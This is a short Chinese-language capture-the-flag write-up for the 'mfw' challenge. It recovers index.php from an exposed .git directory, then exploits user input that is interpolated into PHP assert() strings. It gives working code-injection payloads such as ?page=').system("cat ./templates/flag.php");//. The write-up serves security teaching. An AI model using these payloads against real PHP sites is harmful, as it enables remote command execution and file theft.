mfw git泄露构造闭合

这题也挺有想法 第一次确实没有想到

首先我们可以扫出 git

然后

我们githack 泄露一下

然后我们看index.php代码

复制代码
<?php

if (isset($_GET['page'])) {
	$page = $_GET['page'];
} else {
	$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

问题代码出现在

复制代码
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

这里的参数是可以闭合的 因为是可控的


我们构造 ')


assert("strpos('')', '..') === false") or die("Detected hacking attempt!");

然后我们可以在后面面接上其他php语句


这里有两个


').system("ls");//


或者

') or system("ls");//

最后payload

就是替换为cat即可

复制代码
/?page=').system("cat ./templates/flag.php");//
相关推荐
水无痕simon13 分钟前
03 Git 工作流程
git
一个程序猿老马1 小时前
013、推送与拉取:git push与git pull的协作流程
大数据·git·elasticsearch
每天进步一点点️3 小时前
GIT - 常用命令合辑
git
csdn_aspnet3 小时前
Git Submodule深度避坑指南,破解子模块同步混乱、版本漂移、CI失败等高频协作痛点
git·ci/cd·submodule·checklist·detached·subtree
一个程序猿老马3 小时前
011、更优雅的合并:git rebase变基操作详解
git
zhensherlock6 小时前
Protocol Launcher 系列:Working Copy 文件操作与高级命令详解
javascript·git·typescript·node.js·自动化·github·js
摆烂z20 小时前
AI同时完成多个功能(Git WorkTree)
git
___波子 Pro Max.1 天前
Git Worktree 可视化理解指南
git
happymaker06261 天前
git使用快速入门
git
不做超级小白1 天前
从零到可用:在手机上用 Termux + Git + Obsidian 打造稳定同步环境(踩坑全记录)
git·智能手机